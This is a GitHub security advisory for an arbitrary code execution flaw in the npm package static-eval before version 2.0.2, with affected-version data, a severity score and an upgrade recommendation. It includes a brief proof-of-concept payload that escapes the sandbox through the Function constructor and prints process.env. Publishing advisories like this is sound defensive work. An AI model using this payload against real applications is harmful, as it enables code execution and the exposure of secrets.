GHSA-X9HC-RW35-F44H
Vulnerability from github – Published: 2020-09-02 15:46 – Updated: 2021-09-27 13:40
VLAI?
Summary
Sandbox Breakout / Arbitrary Code Execution in static-eval
Details
Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.
Proof of concept
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));
Recommendation
Upgrade to version 2.0.2 or later.
Severity ?
7.3 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.1"
},
"package": {
"ecosystem": "npm",
"name": "static-eval"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:34:42Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```\nvar evaluate = require(\u0027static-eval\u0027);\nvar parse = require(\u0027esprima\u0027).parse;\n\nvar src = process.argv[2];\nvar payload = \u0027(function({x}){return x.constructor})({x:\"\".sub})(\"console.log(process.env)\")()\u0027\nvar ast = parse(payload).body[0].expression;\nconsole.log(evaluate(ast, {x:1}));\n```\n\n\n## Recommendation\n\nUpgrade to version 2.0.2 or later.",
"id": "GHSA-x9hc-rw35-f44h",
"modified": "2021-09-27T13:40:52Z",
"published": "2020-09-02T15:46:03Z",
"references": [
{
"type": "PACKAGE",
"url": "https://snyk.io/vuln/SNYK-JS-STATICEVAL-173693"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/758"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Sandbox Breakout / Arbitrary Code Execution in static-eval"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…